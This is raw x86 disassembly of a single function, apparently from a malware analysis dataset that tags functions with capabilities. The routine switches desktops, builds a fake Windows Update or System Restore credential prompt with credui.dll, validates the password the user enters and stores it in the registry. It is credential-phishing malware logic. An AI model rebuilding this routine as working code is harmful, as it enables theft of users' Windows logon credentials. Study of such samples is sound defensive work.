Function at 0x1000bb5e
Capabilities:
Get common file path
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov edx, dword [0x10026e10]
sub esp, 0x6a4
mov ecx, dword [0x10026864]
push 0x1001ef10
call fcn.1000bb18
pop ecx
test eax, eax
jne 0x1000c0ea
push esi
mov esi, dword [esp + 0x6ac]
test esi, esi
je 0x1000bba7
push dword [0x10026850]
call dword [sym.imp.USER32.dll_SwitchDesktop]
push dword [0x10026850]
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push str.credui.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x40], eax
test eax, eax
je 0x1000c0c2
lea ecx, [esp + 0x24]
mov dword [esp + 0x58], 0x24bec39d
mov dword [esp + 0x64], ecx
lea edx, [esp + 0x58]
lea ecx, [esp + 0x30]
mov dword [esp + 0x68], 0xb4bb2c26
mov dword [esp + 0x74], ecx
lea ecx, [esp + 0x34]
push ebx
xor ebx, ebx
mov dword [esp + 0x88], ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x98], ecx
mov ecx, eax
push 0xff000000
push 4
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x84], 0x4b177521
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x94], 0xc07eb83e
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
call fcn.1000704a
pop ecx
pop ecx
test eax, eax
je 0x1000c0b7
push ebp
push 0x2000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
mov dword [esp + 0x44], ebp
test ebp, ebp
je 0x1000c0b6
push edi
push 0x14
pop edi
push edi
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [ebp + 0xdb0]
mov dword [esp + 0x50], edi
mov dword [esp + 0x10], eax
lea edi, [ebp + 0xcae]
push 0x104
lea eax, [esp + 0xa8]
mov dword [esp + 0x58], ebx
push eax
mov dword [esp + 0x40], 0x202
mov dword [esp + 0x3c], 0x101
mov dword [esp + 0x4c], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
mov ecx, str.wuaueng.dll
test esi, esi
mov eax, str.rstrui.exe
cmovne eax, ecx
push eax
lea eax, [esp + 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x20
pop eax
push eax
push ebx
lea eax, [esp + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x1000be42
push 0x80
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
test esi, esi
jne 0x1000bda8
push 0xab
push ebx
call edi
test eax, eax
jle 0x1000bd7d
push 0x2e
pop edx
push 0x20
lea ecx, [ebp + 0xcae]
mov word [ecx + eax*2], dx
lea ecx, [ecx + 4]
pop edx
mov word [ecx + eax*2 - 2], dx
add edx, 0x60
sub edx, eax
lea eax, [ecx + eax*2]
push edx
push eax
push 0x91
push ebx
call edi
mov ecx, dword [esp + 0x5c]
test eax, eax
lea eax, [ebp + 0xcae]
cmovg ecx, eax
mov dword [esp + 0x5c], ecx
push 0x926
lea eax, [ebp + 0xdb0]
push eax
push 0xd2
push ebx
call edi
test eax, eax
jle 0x1000be3b
lea eax, [ebp + 0xdb0]
mov dword [esp + 0x58], eax
jmp 0x1000be3b
push 0x69
push ebx
call edi
mov ecx, dword [esp + 0x5c]
mov ebp, 0x926
push 0
push ebp
push dword [esp + 0x18]
test eax, eax
push 0
cmovg ecx, dword [esp + 0x54]
push 0xb0000028
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0xaff
mov dword [esp + 0x78], ecx
call ebx
mov esi, eax
mov ecx, ebp
mov eax, dword [esp + 0x10]
sub ecx, esi
push ecx
lea ecx, [eax + esi*2]
push ecx
push 0x184
push dword [esp + 0x20]
call edi
mov edi, dword [esp + 0x10]
add esi, eax
push str._r_n_r_n
lea eax, [edi + esi*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
pop ecx
pop ecx
add esi, eax
xor ecx, ecx
push ecx
sub ebp, esi
push ebp
lea eax, [edi + esi*2]
push eax
push ecx
push 0x1109
push ecx
push 0x12ff
call ebx
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x48]
mov esi, dword [esp + 0x6b8]
mov dword [esp + 0x58], edi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [0x10026864]
xor edi, edi
lea eax, [esp + 0x2b4]
push dword [0x10026e10]
mov ebx, edi
mov dword [esp + 0x34], edi
push str._s_s
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x28], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x18]
push eax
push edi
push 0x1001ef10
lea eax, [esp + 0x2bc]
push eax
push edi
call dword [esp + 0x34]
test eax, eax
jne 0x1000c0a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1000c0a6
push dword [esp + 0x18]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000c0a4
lea eax, [esp + 0x18]
push eax
push edi
push 0x1001ef10
lea eax, [esp + 0x2bc]
push eax
push ebx
call dword [esp + 0x34]
test eax, eax
je 0x1000c091
xor eax, eax
mov dword [esp + 0x14], 1
push 0x20
mov dword [esp + 0x30], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
pop eax
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
lea eax, [esp + 0x40]
push edi
push eax
push ebx
lea eax, [esp + 0x70]
push eax
call dword [esp + 0x54]
test eax, eax
jne 0x1000c067
push 0x404
push ebp
mov dword [esp + 0x40], 0x202
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
push 0x202
lea eax, [ebp + 0x404]
mov dword [esp + 0x38], 0x101
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [esp + 0x34]
push eax
lea eax, [ebp + 0x404]
push eax
push 0
push 0
lea eax, [esp + 0x48]
push eax
push ebp
push dword [esp + 0x3c]
push dword [esp + 0x38]
push 1
call dword [esp + 0x60]
test eax, eax
je 0x1000c05b
push 0x404
lea eax, [ebp + 0x606]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
push 0x2a4
lea eax, [ebp + 0xa0a]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
push 0x152
lea eax, [ebp + 0xa0a]
push eax
push 0x202
lea eax, [ebp + 0x606]
push eax
push ebp
call dword [esp + 0x54]
test eax, eax
jne 0x1000c05b
lea eax, [ebp + 0x404]
push eax
lea edx, [ebp + 0xa0a]
lea ecx, [ebp + 0x606]
call fcn.1000bb18
pop ecx
test eax, eax
je 0x1000c051
xor ecx, ecx
lea eax, [esp + 0x10]
push ecx
push eax
push ecx
push 0xf013f
push ecx
push ecx
push ecx
push dword [0x10026b10]
mov dword [esp + 0x30], ecx
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000c05b
lea eax, [ebp + 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp + 0x404]
push eax
push 1
push 0
push 0x10020290
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000c05b
and dword [esp + 0x14], 0
mov ebx, 0x52e
push dword [esp + 0x1c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x1000c086
and dword [esp + 0x14], 0
mov eax, 0xfdb
test esi, esi
mov ebx, 0x66e
push 0x1f4
cmove ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], 0
je 0x1000bee8
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000c0a6
xor edi, edi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebp
push dword [esp + 0x44]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
test esi, esi
pop esi
je 0x1000c0ea
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [0x10026b5c]
call dword [sym.imp.USER32.dll_SwitchDesktop]
push dword [0x10026b5c]
call dword [sym.imp.USER32.dll_SetThreadDesktop]
xor eax, eax
add esp, 0x6a4
ret 4